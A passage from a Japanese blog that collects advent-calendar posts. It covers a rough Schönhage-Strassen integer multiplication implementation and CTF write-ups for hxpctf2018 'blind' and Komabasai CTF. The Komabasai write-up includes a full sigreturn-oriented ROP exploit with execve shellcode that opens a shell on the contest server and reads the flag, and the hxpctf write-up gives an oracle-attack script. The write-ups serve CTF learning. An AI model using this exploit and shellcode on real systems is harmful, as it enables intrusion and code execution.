高速整数乗算アルゴリズムSchönhage Strassen Algorithmを雑に実装した話

そういえばIS Advent Calendarに投稿しようと思ってずっと放置していたのがあったのに、登録するのを忘れていたことを思い出したので、雑に供養します。

だいぶ昔の話なんですが、大学の演習IIIとかいう授業で、なんかSchönhage Strassen Algorithmというのを実装したくなったので実装させてもらいました。

当時のスライドから面白くないものを削除したスライドです。それなりにイメージは伝わると思っています。

Schönhage Strassen Algorithm from cookies 146

www.slideshare.net

実装は公開しています。見るに堪えないかもわかりませんが。
github.com

Schönhage Strassen Algorithmは、整数乗算アルゴリズムで、まあもちろん速いわけなんですが、速いと言っても定数倍がかなり重くて日常的な乗算にはむしろ不利なやつです。
日本語WikipediaにはGMPでは「10進法で33 000 - 150 000桁の大きさ」でSSAを初めて用いるようになるとあります。
ソースに当たると、MUL_FFT_THRESHOLDというのが関係してくるらしくって、その値はx86_64で11520らしいんですが、limbってなんだかわからないしこれがなんなのかはわかりません。

実装するときは、スライドにもありますが、「Multiplying large numbers and the Schönhage-Strassen Algorithm - Theo Kortekaas」とか参考にするといいです。オンラインで見つかるPDFです。
今終わってみるとGMP manualとかも参考になったのかもしれないと思いますが、当時は見つけられなかったのでしかたない。

今回の実装では、スライドのpage 22を見ると、10^6 bit同士の乗算あたりからKaratsuba法を上回ったようです。
まあ圧倒的にGMPには劣るわけですが（スライドpage 23）。

そんなちゃんと実装したわけじゃないので、同じbit数同士の乗算しかできなかったり（当然0埋めすれば違ってもできるが、計算量的に劣る）、詳しくは書きませんが計算途中に特別な条件を満たすと続行不可能になってエラー返したりします*1。

以上、供養でした。

*1:参考PDFでも触れられているのと、「続行不可能」でスライド検索すればなんとなく分かります。

min-caml compiler pwn （ISer advent calendar 12/2出題）writeup

この記事はISer Advent Calendar 2018 16日目の記事です。
adventar.org

昨日はMisterプロによる「簡潔ビットベクトル(完備辞書)」でした。
misteer.hatenablog.com

17erのこおしいずです。CPU実験は1年前です。
同アドベントカレンダー2日目の記事に、moratoriumプロによる「min-camlのプログラムからシェルが取れるか？」というのがあって、そこでpwn問題が出されていました。
もう2週間経ちますので、writeupをやっていこうと思います。
とはいえ、出題者からはもっと良質な想定解が提示される予定なので、12/23のアドベントカレンダー記事も読みましょう。
moraprogramming.hateblo.jp

問題概要

ISのCPU実験でのコンパイラ開発のベースとして使われる、min-camlというOCaml subsetコンパイラがあるのですが、この問題では、min-camlソースコードを与えると、そのコンパイラ（に制限を加えたもの）でコンパイルした結果を実行してくれるので、シェルをとれという問題です。
CTFでコンパイラへの入力を与えるタイプはあんまり見ない気がしますが、OCamlはめっちゃ型つける系だし、今回glibcも外されて*1、自明ではない、ということです。

コンパイラはなぜかArrayのPUT構文を潰されています。ふむ。

*1:ゆーてこれヒントかもしれない、外す理由あんまりなくないですか？

hxpctf2018 writeup blind

なかなか好きな問題でした。

問題

#!/usr/bin/env python3
import os, random
from Crypto.Cipher import AES

aes = AES.new(os.urandom(16), AES.MODE_ECB)
enc = lambda x: aes.encrypt(x.to_bytes(16, 'big')).hex()
dec = lambda y: int.from_bytes(aes.decrypt(bytes.fromhex(y)), 'big')

p = 0xfffffed83c17          # |G| = p
mul = lambda x, y: (x+y)%p  # g^x * g^y = g^(x+y)
inv = lambda x: (-x)%p      # (g^x)^-1  = g^(-x)
dhp = lambda x, y: x*y%p    # enjoy your oracle!

g = 1
y = random.randrange(p)
print(y, file=__import__('sys').stderr)

print(enc(g), enc(y))

for _ in range(0x400):
    try:
        q = input().strip().split()
    except EOFError: break
    if q[0] == 'mul':
        print(enc(mul(*map(dec, q[1:]))))
    if q[0] == 'inv':
        print(enc(inv(dec(q[1]))))
    if q[0] == 'dhp':
        print(enc(dhp(*map(dec, q[1:]))))
    if q[0] == 'sol':
        if int(q[1]) % p == y:
            print(open('flag.txt').read().strip())
        break

固定値pをmodとした世界で、コネクションごとに乱数yが生成されます。
g=1と乱数yを暗号化した結果を接続時に与えられます。
暗号化は、AESで毎回keyはrandomにgenerateされますが、ECBです。
oracleとして、暗号化された数値を送ると、mul: x + y, inv: -x, dhp: x * yの暗号文を得ることができます。
0x400 == 1024クエリ以内に、yがいくらであったのかをexactに求めてください。

考察

今回の回答は、1/18未満の確率でうまくいくものです。（クエリ回数超過の可能性と、最後の解答が17/18で間違う可能性）

まず、今回のAES暗号化は、ECBなので（じゃなくてもか？）同じメッセージに対する暗号文は不変です。
ですから、xに対していろいろと操作をして、またxにもどったかどうかを判定することができます。

mul: x+yと、inv: -xは正直ほとんど役に立てられません。pは素数なので、足し算や反数をとってもだいたい対称な操作で、求めることにあまり意味を感じられません。
せいぜいyにひたすらg=1を足していって、g=1と等しくなったかで判明するくらいでしょうか。
dhpを繰り返し行うことで、x^nを求めることができます。nはこちらで自由に設定できる数字です。バイナリ法により、の回数程度で求めることができます。

であり、こちらの世界では値ごとに特徴が十分見いだせます。
まず、の生成元を（いままでとして使っていましたが、以降ではとして使います。生成元に以外を使うのは考えられません。）として、各数値の指数（i.e. )を考えます。
yの(gでの)指数をiとしたとき、は当然なのですが、が0か否かによって、の偶数性が分かります。
これらは、それぞれ、が常に成立することと、が1かどうか確かめることに相当します。
これでは0か否か、しか求められないので、modをちゃんと求めるには、指数をdecrementして0かどうか確かめる...ということを繰り返す必要があります。
つまり、を求めるには、を確認し、1でなければを確認し...とつづけることになります。

それぞれについて、指数のmodを確認するために、と、を計算する必要があり、あわせて2 * 2lg((p-1)/m) < 2*2 lg p < 184回クエリ、それから、mod pが1でない間、掛け算を繰り返す必要があり、最大でm回のクエリが必要となります。
については、に対してとを計算したら、それを13乗してのもの、また13乗して、次にm=13のものを得ることができます。
そしてを計算できたら、は13通り、それもわかったらも13通りなので、程度のクエリでがんばれます。

とまあこの雑なクエリ回数見積もりを合計すると、1500を超えるんですが、まあ大きめに見積もったからね、しょうがないね。（ほんまか）
一応姑息な感じに多少のクエリ回数ゴルフをして、あとは運任せです。

ここまででyの指数iについてが判明した（∵中国人剰余定理）ので、確率はというわけです。
最後にを雑に投げます。当たると嬉しいです。

回答

攻撃コードです。もうちょっときれいにならなかったのか。中国人剰余定理のためにgpを呼び出しています。

require 'socket'

def pow(x, y, m)
  r = 1
  while y > 0
    r *= x if y.odd?
    x *= x
    y >>= 1
    r %= m
    x %= m
  end
  r
end

class S < TCPSocket
  attr_reader :g, :y, :ctr

  def initialize
    #super '78.46.149.10', 13373
    super 'localhost', 4567
    @ctr = 0
    @g, @y = gets.split
  end

  def add x, y
    @ctr += 1
    puts 'mul %s %s' % [x, y]
    gets.chomp
  end
  def inv x
    @ctr += 1
    puts 'inv %s' % x
    gets.chomp
  end
  def mul x, y
    @ctr += 1
    puts 'dhp %s %s' % [x, y]
    gets.chomp
  end
  def sol x
    @ctr += 1
    puts 'sol %d' % x
  end
  def pow x, y
    res = @g
    loop do
      res = mul(res, x) if y.odd?
      y >>= 1
      break if y == 0
      x = mul(x, x)
    end
    res
  end
end

s = S.new

P = 0xfffffed83c17
PHI = P-1
# 2,3,3,7,13,13,13,13,47,103,107,151

G, Y = s.g, s.y
ONE = G
TWO = s.add(ONE, ONE)
FOUR= s.add(TWO, TWO)
FIVE= s.add(FOUR, ONE)
GEN = FIVE # 5
IGEN= s.pow(GEN, PHI-1)

puts 'p: %d' % P
puts 'one: %s' % G
puts 'y: %s' % Y

gpq = ['a = Mod(0, 1)']
factors = [7, 47, 103, 107, 151]
memo = s.pow(IGEN, 2*3*3)
memoy= s.pow(Y, 2*3*3)
factors.each do |f|
  seed = s.pow(memo, PHI/(2*3*3*f))
  now = s.pow(memoy, PHI/(2*3*3*f))
  idx = f.times.find do |t|
    next true if now == ONE
    now = s.mul(now, seed)
    false
  end
  mod = idx
  puts 'idx mod %d == %d' % [f, mod]
  gpq << 'a = chinese(a, Mod(%d, %d))' % [mod, f]
  puts 'ctr: %d' % s.ctr
end

begin
  f = 13
  ig4= s.pow(memo, PHI/(2*3*3*f**4))
  ig3= s.pow(ig4, f)
  ig2= s.pow(ig3, f)
  ig1= s.pow(ig2, f)

  n4 = s.pow(memoy, PHI/(2*3*3*f**4))
  n3 = s.pow(n4, f)
  n2 = s.pow(n3, f)
  n1 = s.pow(n2, f)

  idx = f.times.find do |t|
    next true if n1 == ONE
    n1 = s.mul(n1, ig1)
    false
  end
  m1 = idx
  puts 'm1: %d' % m1

  n2 = s.mul(n2, s.pow(ig2, m1))
  idx = f.times.find do |t|
    next true if n2 == ONE
    n2 = s.mul(n2, ig1)
    false
  end
  m2 = idx
  puts 'm2: %d' % m2

  n3 = s.mul(n3, s.pow(ig3, m1))
  n3 = s.mul(n3, s.pow(ig2, m2))
  idx = f.times.find do |t|
    next true if n3 == ONE
    n3 = s.mul(n3, ig1)
    false
  end
  m3 = idx
  puts 'm3: %d' % m3

  n4 = s.mul(n4, s.pow(ig4, m1))
  n4 = s.mul(n4, s.pow(ig3, m2))
  n4 = s.mul(n4, s.pow(ig2, m3))
  idx = f.times.find do |t|
    next true if n4 == ONE
    n4 = s.mul(n4, ig1)
    false
  end
  m4 = idx
  puts 'm4: %d' % m4
  gpq << 'a = chinese(a, Mod(%d, %d))' % [[m4,m3,m2,m1].inject(0){|s,x|s*13+x}, f**4]

  puts 'ctr: %d' % s.ctr
end

gpq << 'print(a)'
mod = nil
IO.popen("gp -q", "r+") do |gpio|
  gpio.puts gpq.join("\n")
  gpio.close_write
  mod = gpio.read.lines[-1]
end
a, b = mod.scan(/Mod\((\d+), (\d+)\)/)[0].map(&:to_i)
puts 'Mod(%d, %d)' % [a, b]

s.sol pow(5, a, P)

puts s.read

駒場祭CTF Day3 writeup (Repeat64, RSA modoki, rop0)

この記事はTSG Advent Calendar 20187日目の記事です。
adventar.org
昨日はakouryyさんの駒場祭 codegolf day2 writeup (or Haskellゴルフのすすめ)でした。

一つ前の記事で、駒場祭CTF Day1の問題の公開をしました。
Day1は出題側でしたが、Day3ではプレイヤーをしました。
本番中では自分ではLeap ItとRSA modokiだけ解きましたが、そのあと全部解きました。
同Advent Calendar 4日目の記事でmoratoriumさんがwriteup全部書いてくれたので、なんか書く価値がゼロではなさそうなものだけ書きます。
moraprogramming.hateblo.jp

Repeat64

2文字列の間の距離を、各位置の文字のbyteのxorの総和として定義します。
最初の方から、2文字の文字列全通りのうち、それに10回base64を重ねた結果と期待される出力の間で距離が最小なものをとり、その2文字のうちの1文字目だけの方を確定させ、続きをします。

rubyで書くとこんな感じです。

require 'base64'
s = `cat output_repeat64.txt`
cs = [*?A..?Z,*?a..?z,*?0..?9,?{,?},?_]
def e(x); Base64.encode64 x; end
def dis(x,y); x.bytes.zip(y.bytes).inject(0){|s,(x,y)| (x^y) + s}; end
100.times.inject(""){|t,_| p t; t+cs.repeated_permutation(2).min_by{|x| x=t+x.join; dis(10.times.inject(x){|s,_| e(s).gsub("\n",'')}, s)}[0]}

RSA modoki

想定解とも、moratorium解法とも違うやり方をしました。

, と定義します。
これらは今回渡される情報に含まれていて、既知です。

これは定義より、あるがあって、, が成立します。

よって、が成立することが十分期待できるのですが、が巨大なため、まともには計算できません。
ここで、gcdを求めるためのユークリッドの互除法アルゴリズムを考えたりすれば、すぐにが成立することがわかります。
は比較的小さいため、これは現実的に計算ができます。
です。

e = 65537
n = 11159502697363856013014087630325194769032612229916855986133881700525832666671408777238454804419143104062299988043670796942992127119984056496278778789878488749442042358564463740567401062867661998262827092617833617075743085246402252357313145156718918947119757396543236803099546456384669430107126903793064986588442356897055315476310105926902296246772448382786544449241313197709212066491033697518631401105974395211231161231154021203581460265146297711102115283705416092393812547823630766771013374136542548254292826722116526570293825471153589829065146102153525323540179239410414991760354980994441364840359244680024715361373           

z = 375612358701229073413882940002322411554848628784774745002742479074624937864104171326560375938134436592822640458928924467
w = 632046538584332201873274417878381858396228945227318911729612016577023469248601061277855710342231510600619284695220328003
kM = e^e - z
lM = lift((Mod(n, kM)^e) - w)

print(gcd(kM, lM))

rop4/rop1

競技中は一切見なくて、終わった後に眺めたんですが、はじめのうちはなにしてほしいんだか全然わかりませんでした。
いくらかして「あー、retの前に自分の好きな値1byte書き込めるのか」となりましたが、結局書き込みは使いませんでした。

最終的な解答は、下です。rubyです。なんかさとすさんに言われたので、スタックサイズゴルフしたあとの結果です。payloadの部分は一切無視です。rop0です。

SigReturn Oriented Programmingというのをやります。
sigreturnのsyscall noは15なので、syscallをする前にeaxを15にしなければならないのですが、それはreadに15byteの入力を与えてやることでできます。
一番始めのもともとのreadでsigreturnへの引数スタックを構築し、始めのropでreadを呼び、次のrop addrとなるsyscallのアドレスをいれつつ15byteのデータを送ることでeaxを15に調整。そしてsigreturnでmprotect syscallを呼び出し、stackをexecutableに設定。sigreturnの引数のrspからのropで、シェルコードをスタック上に書き込み、ropでそのシェルコードにジャンプ。
payloadのところのrop gadgetを使わない制限を置くと、基本的にread先、サイズが固定されてしまうので、サイズ256のreadに今回の240byteのデータを送りつけるのはわりとフル活用していると言えます。
もし規定のreadサイズが100byteとかだと、payloadなしだときつそうです。知らんけど。

#encoding: BINARY
require 'socket'

#s = TCPSocket.new('localhost', 4567)
s = TCPSocket.new('external.pwn.ctf-day3.tsg.ne.jp', 30000)

stack = [
  0x400120, # read 15 byte
            # syscall (sigreturn)

  *[0]*5,   #
  *[0]*8,   # r8-r15
  0x800000, # rdi  addr
  0x100,    # rsi  len
  0x400120, # rbp <= new rsp
  0x40013c, # rbx
  0x7,      # rdx  prot
  0xa,      # rax  mprotect
  0x0,      # rcx
  0x800000 + 8*16, # rsp
  0x40013c, # rip
  0x0,      # eflags
  0x33,     # csgsfs
  *[0]*4,   #
  0,        # &fpstate
].pack("Q*")
puts stack.size

s.write stack.ljust(0x100, ?0)

s.write [0x40013c, 0].pack("Q*").ljust(15, ?0)[0,15]
s.flush
sleep 1

# http://shell-storm.org/shellcode/files/shellcode-806.php
sh = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# add rsp, 0x100
sh = "\x48\x81\xc4\x00\x01\x00\x00" + sh
s.write ([0x800008].pack("Q") + sh).ljust(0x100, ?0)

s.puts 'ls -l'
s.puts 'cat /home/*/flag'
s.puts 'exit'

while l = s.gets
  puts l
end

宣伝

駒場祭CTFではないんですが、同じスコアボードを使いまわしてmoratoriumくんが謎問を公開しています。
ぜひ解いてあげましょう。僕はちゃんと解きました。
まあmin-camlをこのためだけに読むのもあれなのは確かなのですが。
moraprogramming.hateblo.jp

明日のTSG Advent CalendarはhakatashiがTSGアニメ鑑賞会の話をしてくれる予定っぽいです。

駒場祭企画 TSG LIVE! 2 CTF DAY1の問題

※この記事は TSG Advent Calendar 2018 2日目のエントリです。
昨日は（？）博多市さんの知的ゲーム「たほいや」のすすめでした。
adventar.org

先月の23-25、駒場祭がありました。サークルTSGは五月祭に引き続いてライブ放送をインターネットに投げつけました。
ライブの細かい話は同アドベントカレンダーで15日に博多市さんがまとめてくれるんだと思います。

僕は1日目CTFの出題・放送と、3日目CTFのプレイヤーをしました。
僕が出題した分はまだ遊べます→TSG Live CTF Day1
今日問題の中身を公開した後、1週間後、来週の日曜日24:00以降の適当なタイミングで閉じようかと思います。

登録していただいたチームは、放送時に内部プレイヤーとして参加したチームを除き、現在のところ20チーム。そのうち4チームが得点をしてくれました。
CTFdをadmin権限で眺めると、41 IP addressからアクセスがあったそうです。
参加していただいたチームおよび放送を眺めてくださった方々はありがとうございました。

5問作りましたが、1問はまだだれも解いてくれていません。
TSGの1チームがそれを除く4問を解いてくれました。
が、あとは2問しか解いてくれてない...悲しい。
[追記] moratoriumさんがcruel dd解いてくれました!!!やった!!!

そんなところですが、問題の中身を公開しようと思います。
これくらいのちまっとしたCTFを開催するときに参考にできるようならしてください。
github.com

アドベントカレンダー、明日は早速、taiyoslimeさんの「駒場祭CTF day1 Writeup」の予定です。彼はさっき書いた4問解いてくれたチームです。

以下は記念です。